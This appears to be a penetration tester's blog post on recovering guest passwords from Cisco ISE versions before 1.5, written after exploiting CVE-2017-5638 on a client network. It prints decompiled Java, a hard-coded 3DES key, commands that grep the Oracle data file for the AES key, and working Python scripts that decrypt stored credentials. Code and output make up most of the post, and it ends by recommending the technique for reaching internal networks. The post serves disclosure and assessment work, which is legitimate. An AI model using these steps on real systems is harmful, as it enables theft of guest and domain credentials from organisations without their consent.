Cisco ISE < 1.5 Passwords decryption
After a little digging, we found that guests passwords were stored in plaintext or encrypted (configuration dependent). This article explains how to extract the encrypted passwords, the encryption key and why it matters.
How it all started
Exploring the filesystem
After exploiting CVE-2017-5638 during an assessment (yes, in 2019...), we gained access to the internal network of our customer, but then what?
We looked for interesting files that may contain credentials and, eventually, stumbled on /opt/CSCOcpm/redis/profiler_local.rdb, which is a Redis database. Using the rdb tool, it is very easy to convert this database to a JSON file:
$ rdb --command json profiler_local.rdb | python -m json.tool
"GuestUser:ninjaGuest Users<redacted>": {
[...]
"password": "toKLScqT6eUsjAf6aAtXcQ==",
"passwordEncryptionKey": "hJH/AIwyD/UKzxryu1mLvw==",
"pwdEncrypted": "true",
[...]
},
Alright, it seemed pretty straightforward as we had a password and a passwordEncryptionKey.
Note: this information is actually stored in the table CEPM.EDF_GUEST_USER of the Oracle database:
SQL> describe CEPM.EDF_GUEST_USER;
Name Null? Type
----------------------------------------- -------- ----------------------------
EDF_PORTAL_USER_GUID NOT NULL VARCHAR2(100)
EDF_VERSION NUMBER
EDF_CREATE_TIME TIMESTAMP(6) WITH TIME ZONE
EDF_UPDATE_TIME TIMESTAMP(6) WITH TIME ZONE
USER_NAME NOT NULL VARCHAR2(350)
FIRST_NAME VARCHAR2(1300)
LAST_NAME VARCHAR2(1300)
EMAILADDRESS VARCHAR2(1300)
COMPANY VARCHAR2(1300)
PHONE_NUMBER VARCHAR2(256)
PASSWORD VARCHAR2(1300)
PASSWORD_ENCRYPTION_KEY VARCHAR2(1300)
AUP_ACCEPTED VARCHAR2(5)
ENABLED VARCHAR2(5)
LAST_AUP_ACCEPT_TIME TIMESTAMP(6) WITH TIME ZONE
LAST_LOGIN_TIME TIMESTAMP(6) WITH TIME ZONE
FIRST_LOGIN_TIME TIMESTAMP(6) WITH TIME ZONE
LAST_PASSWORD_RESET_TIME TIMESTAMP(6) WITH TIME ZONE
CREATION_TIME TIMESTAMP(6) WITH TIME ZONE
STATUS_DATE TIMESTAMP(6) WITH TIME ZONE
STATUS_REASON VARCHAR2(2000)
ATTEMPTED_FAIL_LOGINS NUMBER
GUEST_TYPE_ID VARCHAR2(100)
SPONSOR_USER_ID VARCHAR2(100)
VALID_DAYS NUMBER
FROM_DATE TIMESTAMP(6) WITH TIME ZONE
TO_DATE TIMESTAMP(6) WITH TIME ZONE
GUEST_LOCATION_ID VARCHAR2(100)
SMS_SERVER_ID VARCHAR2(100)
SSID VARCHAR2(1300)
GROUP_TAG VARCHAR2(1300)
GUEST_STATUS VARCHAR2(25)
REASON_FOR_VISIT VARCHAR2(1300)
PERSON_BEING_VISITED VARCHAR2(2000)
SENT_PRE_EXPRTN_NOTIFICATION VARCHAR2(5)
AUTH_STORE_NAME VARCHAR2(100)
AUTH_STORE_GUID VARCHAR2(100)
SELF_REG_PORTALID VARCHAR2(100)
OWN_PASSWORD NOT NULL NUMBER(1)
NOTIFICATION_LANGUAGE_ID VARCHAR2(100)
Initial attempt to decrypt passwords
We tried regular encryption algorithms (AES, DES, etc.) with various modes but still, nothing worked.
So, we extracted some JARs to find how these passwords were encrypted. When a user tries to log in, a POST request is performed on /portal/LoginSubmit.action, and after a lot of JARs, we finally arrive in the UserIdentityManagement class (in nsf-1.4.0-253.jar):
package com.cisco.cpm.nsf.impl;
...
public class UserIdentityManagement
implements IUserIdentityManagement
{
...
public void authenticateUsernamePassword(String paramString1, String paramString2)
throws NSFAuthenticationFailed
{
INSFUser localINSFUser = null;
try
{
gLogger.trace("Inside method UserIdentityManagement::authenticateUsernamePassword");
if (paramString1 == null) {
throw new NSFAuthenticationFailed("User name is mandatory"); // OK paramString1 is the username
}
if (paramString2 == null) {
throw new NSFAuthenticationFailed("Password is mandatory"); // OK paramString2 is the password
}
NSFAdminServiceFactory localNSFAdminServiceFactory = NSFAdminServiceFactory.getInstance();
localINSFUser = localNSFAdminServiceFactory.getNSFUser();
localINSFUser = localINSFUser.retrieveFromCache(paramString1);
if (localINSFUser == null)
{
gLogger.debug("Username: {} does not exist", paramString1);
throw new NSFAuthenticationFailed("This user is not in the system");
}
if (!localINSFUser.getEnabled()) {
throw new NSFAuthenticationFailed("This user is not allowed");
}
String str1 = localINSFUser.getPassword();
byte[] arrayOfByte1 = localINSFUser.getEncryptionKey(); // OK arrayOfByte1 is the passwordEncryptionKey
Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
IvParameterSpec localIvParameterSpec = new IvParameterSpec(arrayOfByte1); // so passwordEncryptionKey is actually an IV
localCipher.init(1, skeySpec, localIvParameterSpec); // skeySpec????
byte[] arrayOfByte2 = localCipher.doFinal(paramString2.getBytes());
BASE64Encoder localBASE64Encoder = new BASE64Encoder();
String str2 = localBASE64Encoder.encode(arrayOfByte2);
BASE64Decoder localBASE64Decoder = new BASE64Decoder();
localBASE64Decoder.decodeBuffer(str1);
if (!str2.equals(str1))
{
gLogger.debug("Passwords do not match");
throw new NSFAuthenticationFailed("Wrong password");
}
gLogger.debug("Username: {} : had been authenticated", paramString1);
}
catch (Exception localException)
{
gLogger.warn("Authentication Failed - " + localException.getMessage());
throw new NSFAuthenticationFailed(localException);
}
}
As we can see, a variable named skeySpec is used as the decryption key. It is actually initialized in a static block:
static
{
try
{
byte[] arrayOfByte = NSFAdminUtil.getEncryptionKey("aesKey");
skeySpec = new SecretKeySpec(arrayOfByte, "AES");
if (isRemote()) {
scheduleWriteJob();
}
}
Let's see the NSFAdminUtil.getEncryptionKey method:
public static byte[] getEncryptionKey(String paramString)
throws NSFEntityAttributeException
{
try
{
NSFAdminServiceFactory localNSFAdminServiceFactory = NSFAdminServiceFactory.getInstance();
INSFResource localINSFResource = null;
try
{
localINSFResource = localNSFAdminServiceFactory.getNSFResource();
}
catch (Exception localException2)
{
throw new NSFEntityAttributeException(localException2);
}
if (!localINSFResource.exists(paramString)) {
setEncryptionKey(paramString);
}
localINSFResource = localINSFResource.retrieveEntity(paramString); // the key is retrieved here
return getKeyDataFromText(localINSFResource.getDescription());
}
catch (NSFEntityAttributeException localNSFEntityAttributeException)
{
throw localNSFEntityAttributeException;
}
catch (Exception localException1)
{
throw new NSFEntityAttributeException(localException1);
}
}
And from there, it starts to be hard to keep track of all the Java factories and stuff. Ain't nobody got time for that!
Extracting the AES key
We know that some aesKey is supposed to be extracted somewhere. A good place to start is the database (Oracle).
Without a real reverse shell, we just went for the strings | grep style which actually worked pretty fast:
# strings /opt/oracle/base/oradata/cpm10/cpm01.dbf | grep aesKey
aesKey$e5f9bfc0-e96b-11e4-a30a-005056bf01c9,52x*****************************************xJ0=
But if you are lucky and you have a proper access to the database:
SELECT SEC_RES_DESC FROM CEPM.SEC_RES_MASTER WHERE SEC_RES_NAME like 'aesKey';
52x*****************************************xJ0=
Alright, let's write a small python script to decrypt our credentials:
from Crypto.Cipher import AES
import argparse
import base64
def _unpad(s):
print(repr(s))
return s[:-ord(s[len(s)-1:])]
def aes_decrypt(key, data, iv):
cipher = AES.new(key,AES.MODE_CBC, iv)
return _unpad(cipher.decrypt(data))
def main():
parser = argparse.ArgumentParser()
parser.add_argument("iv", help="passwordEncryptionKey (base64)")
parser.add_argument("data", help="password (base64)")
args = parser.parse_args()
# The key may change, strings /opt/oracle/base/oradata/cpm10/cpm01.dbf | grep aesKey
key = base64.decodebytes(b"52x*****************************************xJ0=")
print(aes_decrypt(key, base64.decodebytes(args.data.encode('utf-8')), base64.decodebytes(args.iv.encode('utf-8'))))
if __name__ == '__main__':
main()
And we try to decrypt our password:
$ python step1.py hJH/AIwyD/UKzxryu1mLvw== toKLScqT6eUsjAf6aAtXcQ==
'$\xa6\xa2+@\x1d\xc3>\xc6\x07h\xb8\xc1\xa9\x1e '
Hmmmm still not working. Let's go back to our JARs collection. In fact, we missed an important line in NSFAdminUtil.getEncryptionKey:
localINSFResource = localINSFResource.retrieveEntity(paramString);
return getKeyDataFromText(localINSFResource.getDescription()); // this line
The getKeyDataFromText method performs some decryption routine:
static byte[] getKeyDataFromText(String paramString)
throws NSFEntityAttributeException
{
try
{
IEncryptor localIEncryptor = EncryptorFactory.getEncryptor("crypt");
String str = localIEncryptor.decrypt(paramString);
BASE64Decoder localBASE64Decoder = new BASE64Decoder();
if (paramString != null) {
return localBASE64Decoder.decodeBuffer(str);
}
throw new NSFEntityAttributeException("Encryption key is null in database");
}
catch (NSFEntityAttributeException localNSFEntityAttributeException)
{
throw localNSFEntityAttributeException;
}
catch (Exception localException)
{
throw new NSFEntityAttributeException(localException);
}
}
The EncryptorFactory is located in the PSP-Commons-1.4.0.121.jar file. The getEncryptor method returns an instance of com.cisco.epm.auth.encryptor.crypt.DefaultCryptEncryptor:
package com.cisco.epm.auth.encryptor.crypt;
...
public class DefaultCryptEncryptor
implements IEncryptor
{
private static String encryptionKey = "ASDF asdf 1234 8983 jklasdf J2Jaf8"; // oopsy
...
public String decrypt(String plainText)
throws BadPasswordException, Exception
{
try
{
String encryptionScheme = "DESede";
encrypter = new Crypt(encryptionScheme, encryptionKey);
}
catch (Exception e) {}
if (plainText == null) {
throw new BadPasswordException("Insufficient Password Cannot allow null");
}
return encrypter.decrypt(plainText);
}
So the AES key is encrypted with a hard-coded DES key? Really? Well, there is only one way to be sure:
from Crypto.Cipher import AES
from Crypto.Cipher import DES3
import argparse
import base64
def _unpad(s):
return s[:-ord(s[len(s)-1:])]
def aes_decrypt(key, data, iv):
cipher = AES.new(key,AES.MODE_CBC, iv)
return _unpad(cipher.decrypt(data))
def main():
parser = argparse.ArgumentParser()
parser.add_argument("iv", help="passwordEncryptionKey (base64)")
parser.add_argument("data", help="password (base64)")
args = parser.parse_args()
# The key may change, strings /opt/oracle/base/oradata/cpm10/cpm01.dbf | grep aesKey
key = base64.decodebytes(b"52x*****************************************xJ0=")
cipher = DES3.new("ASDF asdf 1234 8983 jklasdf J2Jaf8"[:24], DES3.MODE_ECB)
key = cipher.decrypt(key)
print(aes_decrypt(base64.decodebytes(key), base64.decodebytes(args.data.encode('utf-8')), base64.decodebytes(args.iv.encode('utf-8'))))
if __name__ == '__main__':
main()
And:
$ python decrypt.py hJH/AIwyD/UKzxryu1mLvw== toKLScqT6eUsjAf6aAtXcQ==
9x****#(
It worked!
Conclusion
This technique can be useful in Red Team or Wi-Fi assessments as you will probably gain credentials to directly attack the internal network. In our case, multiple credentials were valid on the Windows domain.
Also, the extracted AES key is masked as we still don't know if the value is the same for every Cisco ISE installation or not (and we are interested to know actually, ping us if you extract one that looks the same or not!).
However, it is important to note that Cisco changed the way they store passwords in earlier versions of ISE (> 1.5) and, thus, the demonstrated technique will not be applicable.